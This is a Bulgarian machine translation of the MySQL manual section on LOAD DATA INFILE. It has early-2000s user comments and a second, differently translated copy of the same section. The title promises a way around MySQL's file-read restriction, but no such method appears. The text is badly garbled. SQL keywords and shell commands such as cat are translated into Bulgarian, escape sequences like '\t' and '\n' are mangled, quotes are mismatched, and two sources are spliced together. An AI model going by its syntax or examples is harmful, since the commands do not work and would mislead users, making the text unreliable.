Справочно ръководство за MySQL. Заобикаляне на ограничението за четене на файлове в MySQL Взаимодействие между PHP и MySQL

ЗАРЕДЕТЕ ВЪВ ФАЙЛА С ДАННИ "file_name.txt" В ТАБЛИЦА tbl_name [ ОГРАЖДАНО ОТ ""] ] [(col_name,...)]

Командата LOAD DATA INFILE чете редове от текстов файл и ги вмъква в таблица с много висока скорост. Ако е посочена ключовата дума LOCAL, файлът се чете от клиентския хост. Ако LOCAL не е указано, тогава файлът трябва да се намира на сървъра. (Опцията LOCAL е налична в MySQL версия 3.22.6 и по-нови.)

Ако текстовите файлове, които трябва да бъдат прочетени, са на сървъра, тогава от съображения за сигурност тези файлове трябва или да се намират в директорията на базата данни, или да могат да се четат от всички потребители. Освен това, за да използвате командата LOAD DATA INFILE на сървърни файлове, трябва да имате привилегии FILE на сървърния хост. Вижте раздел 4.2.7 Привилегии, предоставени от MySQL.

В MySQL 3.23.49 и MySQL 4.0.2 командата LOCAL няма да работи, ако демонът mysqld е стартиран с --local-infile=0 или ако клиентът не е активиран LOCAL. Вижте раздел 4.2.4 Съображения за сигурност, свързани с командата LOAD DATA LOCAL.

Ако е указана ключовата дума LOW_PRIORITY, изпълнението на тази команда LOAD DATA ще бъде отложено, докато другите клиенти не приключат с четенето на таблицата.

Ако укажете ключовата дума CONCURRENT, когато работите с MyISAM таблици, други нишки могат да извличат данни от таблицата, докато се изпълнява командата LOAD DATA. Използването на тази функция, разбира се, ще има леко въздействие върху производителността върху изпълнението на LOAD DATA, дори ако никоя друга нишка не използва таблицата по същото време.

Когато използвате опцията LOCAL, изпълнението може да е малко по-бавно, отколкото позволяването на сървъра да осъществява директен достъп до файлове, тъй като съдържанието на файла трябва да се премести от клиентския хост към сървъра. От друга страна, в този случай няма нужда от FILE привилегии за зареждане на локални файлове.

Когато използвате версии на MySQL преди 3.23.24, командата LOAD DATA INFILE не може да чете от FIFO. Ако трябва да прочетете от FIFO (напр. gunzip stdout), трябва да използвате LOAD DATA LOCAL INFILE.

Можете също да зареждате файлове с данни, като използвате помощната програма mysqlimport. Тази помощна програма изтегля файлове чрез изпращане на команди LOAD DATA INFILE към сървъра. Опцията --local кара mysqlimport да чете файлове с данни от клиентския хост. Можете да посочите опцията --compress, за да получите по-добра производителност при бавни мрежи, ако и клиентът, и сървърът поддържат протокола за компресиране на данни.

В случаите, когато файловете се намират на сървъра, последният действа съгласно следните правила:

  • Ако е зададен абсолютен (пълен) път към файл, сървърът използва този път без промени.
  • Ако е указан относителен път към файл, като се посочват една или повече начални директории, файлът ще се търси спрямо посочените директории в директорията с данни на сървъра (datadir).
  • Ако е даден път към даден файл, без да се посочват началните директории, тогава сървърът търси този файл в директорията на използваната база данни.

От това следва, че файл, посочен като `./myfile.txt", се чете от директорията с данни на сървъра, докато файл, посочен като `myfile.txt", се чете от използваната директория на базата данни. Например следната команда LOAD DATA чете файла data.txt в директорията на базата данни за db1, тъй като db1 е текущата база данни, въпреки че командата изрично инструктира за зареждане на файла в таблицата на базата данни db2:

Mysql>ИЗПОЛЗВАЙТЕ db1; mysql> ЗАРЕДЕТЕ ВХОДЯЩ ФАЙЛ ДАННИ "data.txt" В ТАБЛИЦА db2.my_table;

Ключовите думи REPLACE и IGNORE контролират обработката на входни записи, които са дубликати на съществуващи записи със същите уникални стойности на ключ. Ако зададете REPLACE, новите редове ще заменят съществуващите редове със същия уникален ключ. Ако зададете IGNORE, входните редове, които имат същия уникален ключ като съществуващите, ще бъдат пропуснати. Ако нито един от параметрите не е посочен, тогава ако бъде открита дублирана стойност на ключ, възниква грешка и останалата част от текстовия файл се игнорира.

Ако данните се зареждат от локален файл с помощта на ключовата дума LOCAL, тогава сървърът няма да може да прекрати прехвърлянето на данни по време на тази операция, така че изпълнението по подразбиране на командата е същото, както когато е указано IGNORE.

Когато използвате LOAD DATA INFILE върху празни MyISAM таблици, всички неуникални индекси се създават в отделен пакет (както при REPAIR). Това обикновено ускорява значително LOAD DATA INFILE, когато има голям брой индекси.

Командата LOAD DATA INFILE е допълнение към SELECT ... INTO OUTFILE. Вижте раздел 6.4.1 Синтаксис на оператора SELECT. За да запишете данни от база данни във файл, използвайте SELECT ... INTO OUTFILE. За четене на данни обратно в базата данни се използва LOAD DATA INFILE. Синтаксисът за FIELDS и LINES е еднакъв и в двете команди. И двете части не са задължителни, но ако и двете са посочени, тогава FIELDS трябва да предхождат LINES.

Ако е посочено FIELDS, всеки от неговите подизрази (TERMINATED BY, ENCLOSED BY и ESCAPED BY) също не е задължителен, но поне един от тях трябва да бъде посочен.

Ако операторът FIELDS не е дефиниран, неговите параметри ще бъдат зададени по подразбиране на следните стойности:

ПОЛЕТА, ЗАВЪРШВАНИ С "\t", ОГРАДЕНИ С "", ИЗКЛЮЧЕНИ С "\\"

Ако операторът LINES не е дефиниран, той има следната структура по подразбиране:

РЕДОВЕ ЗАВЪРШВАНИ С "\n"

С други думи, с настройки по подразбиране, командата LOAD DATA INFILE при четене на входни данни ще работи както следва:

  • Намерете края на реда като знаци `\n".
  • Разделете редовете на полета въз основа на знаци за табулация.
  • Не очаквайте полетата да бъдат затворени в кавички.
  • Интерпретирайте символите за табулация, нов ред или `\", които се срещат предшествани от `\", като литерали, които са част от стойността на полето.

Обратно, ако настройките по подразбиране за запис на изход са в сила, командата SELECT ... INTO OUTFILE ще работи както следва:

  • Вмъкване на знаци за разделяне между полетата.
  • Не поставяйте полета в кавички. Използвайте знаци `\", за да избегнете случаи на знаци за табулация, нов ред или `\", които се появяват сред стойностите на полетата.
  • Вмъкнете нов ред в края на всеки запис.

Имайте предвид, че записът FIELDS ESCAPED BY `\" изисква две обратни наклонени черти за стойност, която трябва да се чете като една обратна наклонена черта.

Опцията IGNORE number LINES може да се използва за игнориране на заглавката на имената на колоните в началото на файла:

Mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ с ДАННИ "/tmp/име_на_файл" В ТАБЛИЦА тест ИГНОРИРАЙТЕ 1 РЕДА;

Когато използвате SELECT ... INTO OUTFILE във връзка с LOAD DATA INFILE за четене на данни от база данни във файл и след това обратно от файла към базата данни, опциите за обработка на поле и низ за двете команди трябва да са еднакви. В противен случай LOAD DATA INFILE няма да може да интерпретира правилно съдържанието на този файл. Да предположим, че командата SELECT ... INTO OUTFILE се използва за запис във файл с полета, разделени със запетаи:

Mysql> SELECT * INTO OUTFILE "data.txt" ПОЛЕТА, ЗАВЪРШВАНИ С "," FROM ...;

Mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ С ДАННИ "data.txt" В ТАБЛИЦА table2 ПОЛЕТА, ЗАВЪРШВАНИ С ",";

Mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ С ДАННИ "data.txt" В ТАБЛИЦА table2 ПОЛЕТА, ЗАВЪРШВАНИ С "\t";

Подобен резултат би се получил, ако всеки входен ред се интерпретира като отделно поле.

Командата LOAD DATA INFILE може също да се използва за четене на файлове, получени от външни източници. Например полетата във файл с формат на база данни dBASE ще бъдат разделени със запетаи и оградени в двойни кавички. Ако редовете в този файл завършват с нов ред, можете да използвате следната команда, за да напишете файла, който илюстрира опциите за настройка, които обработват полета и редове:

Mysql> ЗАРЕДЕТЕ ВХОДЯЩ ФАЙЛ С ДАННИ "data.txt" В ТАБЛИЦА tbl_name ПОЛЕТА, ЗАКРАЙНИ С "," ОГРАДЕНИ С """ РЕДОВЕ, ЗАКРАЙНИ С "\n";

Всяка от опциите, които обработват полета и низове, може да посочи празния низ (""). Ако низът не е празен, тогава стойностите на опциите FIELDS ENCLOSED BY и FIELDS ESCAPED BY трябва да съдържат един знак. Стойностите на опциите FIELDS TERMINATED BY и LINES TERMINATED BY могат да съдържат повече от един знак. Например, за да напишете редове, завършващи на двойки ``връщане на каретка-подаване на ред'' (както в текстови файлове на MS DOS или Windows), трябва да посочите следния израз: РЕДОВЕ, ЗАВЪРШВАНИ С "\r\n" .

CREATE TABLE шеги (първичен ключ INT NOT NULL AUTO_INCREMENT, шега TEXT NOT NULL); ЗАРЕДЕТЕ ДАННИ ВЪВ ФАЙЛА "/tmp/jokes.txt" В ТАБЛИЦА вицове ПОЛЕТА ЗАКРАЙВАНИ С ""; РЕДОВЕ ЗАВЪРШВАНИ С "\n%%\n" (шега);

Опцията FIELDS ENCLOSED BY контролира полета, които са затворени в определени знаци. Ако параметърът OPTIONALLY е пропуснат, тогава в изхода (SELECT ... INTO OUTFILE) всички полета ще бъдат затворени в символите, посочени в ENCLOSED BY. Пример за такъв изход (с използване на запетая като разделител на полето) е показан по-долу:

"1","низ","100.20" "2","низ, съдържащ , запетая","102.20" "3","низ, съдържащ \" кавичка","102.20" "4"," низ, съдържащ \", кавичка и запетая","102.20"

Ако параметърът OPTIONALLY е указан, тогава само полета от тип CHAR и VARCHAR се маркират със знака, указан в ENCLOSED BY:

1,"низ",100.20 2,"низ, съдържащ , запетая",102.20 3,"низ, съдържащ \" кавичка",102.20 4,"низ, съдържащ \", кавичка и запетая",102.20

Моля, обърнете внимание, че появата на знаци ENCLOSED BY в стойността на полето се екранира, като им се добави префиксът от ESCAPED BY. Също така имайте предвид, че ако стойността ESCAPED BY е празна, е възможно да се създаде изход, който операторът LOAD DATA INFILE не може да прочете правилно. Например, ако екраниращият знак е празен низ, тогава изходът, показан по-горе, ще бъде както е показано по-долу. Имайте предвид, че второто поле на четвъртия ред съдържа запетая след кавичка, която (погрешка) изглежда ограничава това поле:

1,"низ",100.20 2,"низ, съдържащ , запетая",102.20 3,"низ, съдържащ " кавичка",102.20 4,"низ, съдържащ ", кавичка и запетая",102.20

За въвеждане знакът ENCLOSED BY, ако присъства, се премахва от двата края на стойностите на полето. (Това е вярно, независимо дали параметърът OPTIONALLY е посочен или не; параметърът OPTIONALLY не се взема предвид при работа с входни данни.) Ако се срещне знак ENCLOSED BY, който е предшестван от знак ESCAPED BY, той се интерпретира като част от текущата стойност на полето. Освен това двойните знаци ENCLOSED BY, срещащи се в полето, се интерпретират като единични знаци ENCLOSED BY, ако самото поле започва с този знак. Например, ако е посочен ENCLOSED BY """, тогава кавичките се обработват, както следва:

""ГОЛЕМИЯ"" шеф" -> "ГОЛЕМИЯ" шеф "ГОЛЕМИЯ" шеф -> "ГОЛЕМИЯ" шеф ""ГОЛЕМИЯ"" шеф -> "ГОЛЕМИЯ"" шеф

Опцията FIELDS ESCAPED BY се използва за контролиране на запис или четене специални символи. Ако знакът FIELDS ESCAPED BY не е празен, той се използва като префикс за следните знаци в изхода:

  • ПОЛЕТА, ИЗБЯГАНИ ОТ символ
  • ПОЛЕТА, ОГРАДЕНИ ОТ символ
  • Първи знак от стойностите FIELDS TERMINATED BY и LINES TERMINATED BY
  • ASCII символ 0 (всъщност ASCII `0" се записва след екраниращия знак, а не байт с нулева стойност)

Ако символът FIELDS ESCAPED BY е празен, тогава не се екранират знаци. Всъщност няма смисъл да се указва празен екраниращ знак, особено ако стойностите на полетата в обработваните данни съдържат някой от знаците в списъка по-горе.

Ако символът FIELDS ESCAPED BY не е празен, тогава в случай на входни данни, появяванията на такъв знак се премахват и знакът след такова появяване се приема буквално като част от стойността на полето. Изключенията се екранират `0" или `N" (например \0 или \N, ако екраниращият знак е `\"). Тези последователности се интерпретират като ASCII 0 (байт с нулева стойност) и NULL. Вижте правилата за работа с NULL стойност По-долу .

За да получите повече пълна информацияЗа синтаксиса на екраниращия знак `\" вижте раздел 6.1.1 Литерали: Представяне на низове и числа.

В някои случаи опциите за обработка на полето и реда си взаимодействат:

  • Ако LINES TERMINATED BY е празен низ и FIELDS TERMINATED BY не е празен низ, тогава редовете също завършват със знаците FIELDS TERMINATED BY.
  • Ако и FIELDS TERMINATED BY и FIELDS ENCLOSED BY са празни (""), се използва форматът с фиксиран низ (без разделители). Фиксираният формат не предоставя никакви разделители между полетата. Вместо това, когато четете и записвате стойности на колони, се използва ``изходната'' ширина на колоните. Например, ако колона е декларирана като INT(7), стойностите за тази колона се записват с помощта на полета с ширина 7 знака. Входните стойности за тази колона се получават чрез четене на 7 знака. Форматът с фиксиран низ също засяга обработката на NULL стойности (вижте по-долу). Имайте предвид, че форматът с фиксиран размер няма да работи, когато използвате многобайтов набор от знаци.

NULL стойностите ще бъдат третирани по различен начин в зависимост от използваните опции FIELDS и LINES:

  • За стойностите по подразбиране FIELDS и LINES, NULL се записва като \N за изход и \N се чете като NULL за вход (приемайки, че символът ESCAPED BY е `\").
  • Ако FIELDS ENCLOSED BY не е празно, тогава поле, чиято стойност е NULL буквена дума, се чете като стойността NULL (за разлика от думата NULL, затворена между знаците FIELDS ENCLOSED BY, която се чете като низ "NULL").
  • Ако FIELDS ESCAPED BY е празно, NULL се записва като думата NULL.
  • Във формат с фиксиран низ (което възниква, ако и двата спецификатора FIELDS TERMINATED BY и FIELDS ENCLOSED BY са празни), NULL се записва като празен низ. Обърнете внимание, че това кара NULL стойност и празен низ в дадена таблица да бъдат неразличими, когато се записват във файл, тъй като и двата са записани като празни низове. Ако искате тези стойности да са различни, когато файлът се чете обратно, не трябва да използвате формата с фиксиран ред.

Някои случаи не се поддържат от командата LOAD DATA INFILE:

  • Редове с фиксиран размер (ПОЛЕТА, ЗАВЪРШЕНИ ОТ и ПОЛЕТА, ОГРАЖДАНИ ОТ, са празни) и колони BLOB или TEXT.
  • Ако е указан разделител, който е същият като или е префикс на друг, тогава LOAD DATA INFILE няма да може да интерпретира входа правилно. Например, следният оператор FIELDS би причинил проблеми: ПОЛЕТА, ЗАВЪРШВАНИ С """ ОГРАЖДАНИ С """
  • Ако опцията FIELDS ESCAPED BY е празна, появата на знак FIELDS ENCLOSED BY или LINES TERMINATED BY в стойност на поле, последвано от знак FIELDS TERMINATED BY, ще накара командата LOAD DATA INFILE да прекрати преждевременно четенето на полето или реда. Това се случва, защото LOAD DATA INFILE не може правилно да определи къде завършва полето или редът.

Следният пример зарежда всички колони на таблицата с лични данни:

Mysql> ЗАРЕДЕТЕ ВХОДЯЩ ДАНЕН ФАЙЛ "persondata.txt" В ТАБЛИЦА persondata;

Списък с полета не е посочен, така че командата LOAD DATA INFILE очаква входни редове да попълват всяка колона на таблицата. Това използва стойностите по подразбиране FIELDS и LINES.

Ако искате да заредите само някои от колоните на таблицата, трябва да посочите списък с колони:

Mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ ДАННИ "persondata.txt" В ТАБЛИЦА persondata (col1,col2,...);

Списъкът с полета трябва да бъде посочен и в случаите, когато редът на полетата във входния файл се различава от реда на колоните в тази таблица. В противен случай MySQL няма да може да съпостави полетата за въвеждане и колоните на таблицата.

Ако даден ред има твърде малко полета, тогава колоните, които нямат полета във входния файл, се задават на стойностите си по подразбиране. Присвояването на стойности по подразбиране е описано в раздел 6.5.3 Синтаксис на израза CREATE TABLE.

Стойността на празно поле се интерпретира по различен начин от липса на стойност:

  • За типове низове колоната е зададена на празен низ.
  • За числови типове колоната е зададена на 0.
  • За типове дата и час, колоната е зададена на съответната стойност от този тип, ``null''. Вижте раздел 6.2.2 Типове данни за дата и час.

Имайте предвид, че това са същите стойности, които биха се озовали в колона в резултат на изрично присвояване на празен низ към низови, цифрови или колони за дата/час в команда INSERT или UPDATE.

Колоните от тип TIMESTAMP са зададени само на текущата дата или час, ако колоната е зададена на NULL или (само за първата колона TIMESTAMP), ако колоната TIMESTAMP е извън списъка с полета, ако е указан такъв списък.

Ако въведеният низ има твърде много полета, допълнителните полета ще бъдат игнорирани и броят на предупрежденията ще се увеличи.

Командата LOAD DATA INFILE интерпретира всички входни данни като низове, така че не можете да зададете числови стойности за ENUM или SET колони по същия начин, както за командите INSERT. Всички стойности ENUM и SET трябва да бъдат посочени като низове!

Когато използвате C API, можете да получите информация за заявка, като извикате mysql_info() API функцията в края на заявката, LOAD DATA INFILE. Форматът на информационния ред за този случай е показан по-долу:

Записи: 1 Изтрити: 0 Пропуснати: 0 Предупреждения: 0

Предупрежденията се издават при същите обстоятелства, както при писане на стойности с команда INSERT (вижте раздел 6.4.3 Синтаксис на оператора INSERT), с изключение на това, че командата LOAD DATA INFILE допълнително генерира предупреждения, когато входният низ има твърде малко или твърде много полета. Предупрежденията не се съхраняват никъде; Броят на предупрежденията може да се използва само за проверка дали посочените действия са изпълнени нормално. Ако искате да знаете точно какво е причинило предупрежденията, стартирането на SELECT ... INTO OUTFILE на друг файл и сравняването на резултата с оригиналния входен файл е единственият начин да получите тази информация.

Ако трябва да направите LOAD DATA за четене от канал, можете да използвате следния трик:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "ЗАРЕДЕТЕ ВХОДЯЩ ДАННИ "x" В ТАБЛИЦА x" x

Когато използвате версия на MySQL, по-стара от 3.23.25, горното може да се направи само с LOAD DATA LOCAL INFILE.

За да получите повече подробна информацияЗа информация относно ефективността на INSERT в сравнение с LOAD DATA INFILE и скоростта на LOAD DATA INFILE вижте раздел 5.2.9 Скорост на INSERT заявки.

Потребителски коментари

Публикувано от Джейсън Титус[Изтриване] [Редактиране]

„Предупрежденията не се съхраняват никъде; броят на предупрежденията може да се използва само като
индикация дали всичко е минало добре"

Сигурно се шегуваш с мен. Прави ли се това като някакво наказание на DBA? т.е. - Ние
ЗНАЙТЕ какви бяха проблемите, но просто ще трябва да създадете изходен файл и да прегледате
вашите милиони записи, за да ги намерите". Не използва ли MySQL да ги поставя в регистъра на грешките,
къде принадлежат? Продължете и го направете опция, но това е достатъчно трудност
превключвам обратно към Oracle (и това отнема много).

Публикувано от Campbell в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

Второ това. (!) Не разбирам как ти
напишете това изречение с право лице.

Публикувано от Джонатан Падфийлд в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

Освен това няма информация кои редове са пропуснати
е даден.

Публикувано от в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

Тази функция е много полезна при изпращане на
INSERT от уеб страница. Ако потребителят удари
опресняване и повторно публикуване на данни, което води до a
последващо Вмъкване на същите първични ключови данни,
бум, приложението се поврежда. По този начин потребителят може
натиснете F5, докато лицето им стане синьо, и те
няма да наруши оператора REPLACE.

[Изтриване] [Редактиране]

Имам папка MyDB в c:\mysql\data
Поставям там Data.txt и когато изпълнявам
ЗАРЕДЕТЕ ДАННИ ЛОКАЛЕН ВХОДЕН ФАЙЛ "Data.txt" В ТАБЛИЦА
MyTable казва: Командата е изпълнена успешно
но НИКАКВИ стойности не се добавят към MyTable.
Аз съм под W2K

Публикувано от van Hoof philip в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

Искам да синхронизирам моята база данни с друга
база данни от време на време. Това означава, че аз
ще трябва да използва REPLACE нещо. Но какво да кажем за
записи, които вече не съществуват в по-новите
база данни. Ще бъдат ли изтрити в този на MySQL?
Има ли начин за автоматично изтриване на тези? Или е
единственото решение за премахване на MySQL таблицата и пресъздаване
преди да започна да го ЗАРЕЖДАМ. Използвам crontab
скриптове за тази операция, така че без човешко взаимодействие
е възможно по време на тези операции.

Публикувано от в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

В документацията не е ясно за какво
представлява "уникален" ключ/индекс в тази област. То
обратни препратки към „вмъкване“, но вмъкването не
имат такова ограничение. Намерих това основно
ключовете са достатъчно уникални, но трябваше да добавя
първични избори, където не ги исках. Може би съм
нещо липсва....

Публикувано от в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

Много е разочароващо да получаваш предупреждения, когато е така
импортиране на данни в база данни на MySQL и да не бъде
достъп до всякаква информация относно предупрежденията.
MySQL наистина трябва да добави функция, която ще го направи
докладвайте ЗА какво е предупреждението, а не просто
докладвайте предупреждение. В идеалния случай информацията за
предупреждението трябва да бъде предоставено незабавно. При
най-малкото трябва да има някакъв регистър на грешките
създадени, до които потребителят има достъп.

Публикувано от в петък, 17 май 2002 г., @ 6:24 сутринта[Изтриване] [Редактиране]

По темата "F5, докато лицето им не посинее"...

Това трябва да се обработи в приложението. То
със сигурност няма да навреди да кажете на потребителя „Вие сте“.
вече въведе това. Моля, спрете опресняването."

Всъщност, поради броя на хипернетърпеливия край
lusers там, това изглежда като особено
добра идея.

Публикувано от Лари Ъруин във вторник, 20 август 2002 г., @ 11:50 ч.[Изтриване] [Редактиране]

Би било много полезно да има допълнителна опция
на „ПРЕГНОРЯВАНЕ НА ОГРАНИЧЕНИЯТА“ по време на зареждането
процес.

Публикувано от в четвъртък, 5 септември 2002 г., @ 1:34 сутринта[Изтриване] [Редактиране]

Има уловка с „на празна таблица MyISAM, всички
неуникалните индекси се създават в отделна партида"
тъй като използвания механизъм е „ремонт с
keycache", което може да бъде много бавно, ако имате много
индекси. Човек наистина трябва да използва механизма, за да
спрете създаването на ключове и след това направете поправката с
myisamchk с помощта на "поправяне със сортиране", както е описано в
раздел 5.2.9 (ако можешзаработи :-()

Публикувано от в сряда, 9 октомври 2002 г., в 12:43 ч[

Синтаксис LOAD DATA INFILE

ЗАРЕДЕТЕ ВХОДЯЩ ФАЙЛ ДАННИ " име на файл. txt" В ТАБЛИЦАТА име_на_таблица
[ПРИЛОЖЕНО ОТ "]
]
]
[(име_на_колона,...)]
Операторът LOAD DATA INFILE чете редове от текстов файл и ги зарежда в таблица с много висока скорост.
Можете също да зареждате файлове с данни, като използвате помощната програма за импортиране на mysql. Работи чрез изпращане на оператор LOAD data INFILE към сървъра. Опцията --local кара помощната програма mysqlimport да прочете файла с данни от клиентския хост. Можете да посочите опцията -compress, за да подобрите производителността при бавни мрежи, ако клиентът и сървърът поддържат компресирания протокол.
Ако е указана ключовата дума LOW_PRIORITY, изпълнението на оператора LOAD DATA се забавя, докато всички други клиенти не завършат четенето.
Ако ключовата дума CONCURRENT е указана с MyISAM таблица, която отговаря на условието за едновременно вмъкване (тоест няма свободни блокове в средата на файла), тогава други нишки ще могат да извличат данни от таблицата едновременно с LOAD DATA се извършва. Използването на тази опция има леко въздействие върху производителността на LOAD DATA, дори ако в таблицата не се изпълнява друга нишка.
Ако е указана ключовата дума LOCAL, тя засяга клиентската страна на връзката.

  1. Ако е посочено LOCAL, файлът се чете от клиентската програма на клиентския хост и се изпраща на сървъра.
  2. Ако думата LOCAL не е посочена, изтегленият файл трябва да се намира на хоста на сървъра и да се чете директно от сървъра.

LOCAL е наличен в MySQL 3.22.6 и по-нови версии.
От съображения за сигурност, когато четете текстови файлове, разположени на сървъра, файловете трябва или да се намират в директорията с данни, или да могат да се четат от всички. Освен това, за да използвате LOAD DATA със сървърни файлове, трябва да имате привилегията FILE.
Изтеглянето с опцията LOCAL е малко по-бавно, отколкото когато дадете на сървъра възможност за директен достъп до изтеглените файлове, тъй като в този случай съдържанието на файловете се прехвърля по мрежата чрез връзката клиент-сървър. От друга страна, в този случай нямате нужда от FILE привилегии.
От MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 в Windows), LOCAL работи само ако и клиентът, и сървърът го позволяват. Например, ако mysqld се стартира с опцията -local-inf ile=0, тогава LOCAL няма да работи.

Ако трябва да четете от програмен канал с помощта на LOAD DATA, можете да използвате следната техника:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
котка< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "ЗАРЕДЕТЕ ВХОДЯЩ ФАЙЛ ДАННИ "x1 В ТАБЛИЦА x" x
Ако работите с версия на MySQL, по-стара от 3.23.25, тогава тази техника може да се използва само с LOAD DATA LOCAL INFILE.
Ако имате версия на MySQL по-стара от 3.23.24, няма да можете да четете от FIFO с помощта на оператора LOAD DATA INFILE. Ако трябва да прочетете от FIFO (напр. от изход от gunzip), използвайте вместо това LOAD DATA LOCAL INFILE.
Когато търси файл в своята файлова система, сървърът се ръководи от следните правила:

  1. Ако е даден абсолютен път, сървърът го използва такъв, какъвто е.
  2. Ако е зададен относителен път с един или повече водещи компоненти, сървърът търси файлове спрямо своята директория с данни.
  3. Ако е указано име на файл без водещи компоненти на пътя, сървърът търси файла в директорията с данни по подразбиране на базата данни.

Имайте предвид, че тези правила предполагат, че файл с име ./myfile.txt се чете от директорията с данни на сървъра, докато файл с име myfile,txt се чете от директорията с данни по подразбиране на базата данни. Например следният оператор LOAD DATA INFILE чете файла data.txt от директорията с данни на dbl, тъй като dbl е текущата база данни, въпреки че операторът зарежда данни в db2:
mysql>ИЗПОЛЗВАЙТЕ dbl;
mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ ДАННИ "data.txt" В ТАБЛИЦА db2.my_table;
Контролите на ключовите думи REPLACE и IGNORE работят с входни низове, които дублират съществуващите уникални ключове по стойност.
Ако е указан REPLACE, входните редове заместват съществуващите редове (с други думи, редове, които имат същите стойности на първичен или уникален ключ като съществуващите редове в таблицата). Вижте REPLACE Синтаксис
Ако е посочено IGNORE, входните редове, които са дубликати на съществуващи редове със същите първични или уникални стойности на ключ, се пропускат. Ако нито една опция не е посочена, тогава поведението зависи от това дали е посочена ключовата дума local. Ако LOCAL не присъства, ако бъде открит дублиран ключ, се генерира грешка и останалата част от текстовия файл се игнорира. Ако е налице LOCAL, поведението по подразбиране е същото, както ако беше указано IGNORE. Това е така, защото сървърът не може да спре прехвърлянето на файлове, докато операцията е в ход.
Ако искате да игнорирате ограниченията на външния ключ по време на операция за зареждане на данни, можете да подадете оператора SET FOREIGN_KEY_CHECKS=0, преди да изпълните LOAD DATA.
Ако стартирате LOAD DATA на празна MyISAM таблица, всички неуникални индекси се създават в отделна задача (както за REPAIR TABLE). Това обикновено води до това, че LOAD DATA е много по-бързо, когато има много индекси. Обикновено това работи много бързо, но в някои специални случаи можете да създавате индекси още по-бързо, като ги деактивирате чрез ALTER TABLE...DISABLE KEYS преди зареждане

файл в таблицата, пресъздаване на индексите и активирането им с помощта на ALTER TABLE... ENABLE KEYS, след като зареждането приключи.
LOAD DATA INFILE е допълнение към SELECT...INTO OUTFILE. Вижте Синтаксис на SELECT За да запишете данни от таблица във файл, използвайте SELECT... INTO OUTFILE. За да прочетете обратно данни от файл в таблица, използвайте LOAD DATA INFILE. Синтаксисът на конструкциите FIELDS и LINES е еднакъв и за двата оператора. И двете конструкции не са задължителни, но полетата трябва да предхождат ЛИНИИ, ако и двете са посочени.
Ако конструкцията FIELDS е посочена, тогава всички нейни параметри (TERMINATED BY, ENCLOSED BY и ESCAPED BY) също са незадължителни, с изключение на изискването, че трябва да присъства поне един параметър.
Ако конструкцията FIELDS не е указана, по подразбиране е:
ПОЛЕТА, ЗАВЪРШВАНИ С "tf, ОГРАЖДАНИ С " ИЗБЯГНАТО ОТ "
Ако конструкцията LINES не е посочена, по подразбиране е това:
РЕДОВЕ ЗАВЪРШВАНИ С "n! ЗАПОЧВАЩИ С "
С други думи, поведението по подразбиране на LOAD DATA INFILE при четене на вход е:

  1. Потърсете разделители на редове в началото на редовете.
  2. Не пропускайте нито един префикс на реда.
  3. Разделете ред на полета въз основа на знаци за табулация.
  4. Не очаквайте полета да бъдат цитирани.
  5. Интерпретирайте появата на знак за табулация, преместване на ред или знак "\", предшестван от \ като буквални знаци, които са част от стойността на полето.

Обратно, SELECT... INTO OUTFILE се държи по подразбиране така:

  1. Записва табулатори между полетата.
  2. Не огражда стойностите на полето с кавички.
  • Използва *" за маркиране на раздели, нови редове или "\, срещащи се в стойностите на полето.
  • Пише знак за нов ред в края на редовете.
Обърнете внимание, че писането на ПОЛЕТА, ИЗБЯГАНИ С "W", ще изисква да посочите две обратни наклонени черти за стойности, които изискват една обратна наклонена черта, за да бъдат прочетени.
За бележка!
Ако сте генерирали текстов файл на система Windows, може да се наложи да укажете РЕДОВЕ, ЗАВЪРШВАНИ С "rn, за да прочетете файла правилно, тъй като програмите на Windows обикновено използват тези два знака като разделител на редове. Някои програми, като WordPad, може да използват знак " r" като разделител на редове. За да четете такива файлове, използвайте РЕДОВЕ, ЗАВЪРШВАНИ С "r".
Ако всички редове на файла, който четете, имат общ префикс, който искате да игнорирате, използвайте РЕДОВЕ, ЗАПОЧВАЩИ С " низови_префиксиза да пропуснете този префикс. Ако редът не съдържа префикс, той се пропуска изцяло.

Опция ИГНОРИРАНЕ количество LINES се използва за игнориране на определен брой редове в началото на файла. Например, можете да използвате IGNORE I LINES, за да пропуснете началния ред, съдържащ имената на колоните:
mysql> ЗАРЕДЕТЕ ВХОДЯЩ ДАННИ "/tmp/test.txt" -> В ТАБЛИЦА тест ИГНОРИРАЙТЕ 1 РЕДА;
Когато използвате SELECT... INTO OUTFILE във връзка с LOAD DATA INFILE, за да запишете данни от базата данни във файл и след това да ги прочетете и заредите обратно в базата данни, опциите за управление на редове и полета за двата оператора трябва да са еднакви. В противен случай LOAD DATA INFILE няма да може да интерпретира правилно съдържанието на текстовия файл. Да приемем, че сте използвали SELECT...INTO OUTFILE, за да изведете данните в текстов файл, разделяйки полетата със запетаи:
mysql> ИЗБЕРЕТЕ* INTO OUTFILE "data.txt" -> ПОЛЕТА, ЗАВЪРШВАНИ ОТ"," -> FROM table2;
За да прочетете обратно файл, разделен със запетая, правилният начин да направите това е:
mysql> ЗАРЕДЕТЕ ВХОДЯЩ ДАННИ "data.txt1 В ТАБЛИЦА table2 -> ПОЛЕТА, КРАЙНИ ОТ
Ако вместо това се опитате да го прочетете с израза по-долу, няма да работи, защото LOAD DATA INFILE ще търси знаци за табулация между стойностите на полето:
mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ "data.txt" В ТАБЛИЦА table2 -> ПОЛЕТА, ЗАВЪРШВАНИ С "t";
Най-вероятният резултат ще бъде интерпретирането на входния низ като едно поле.
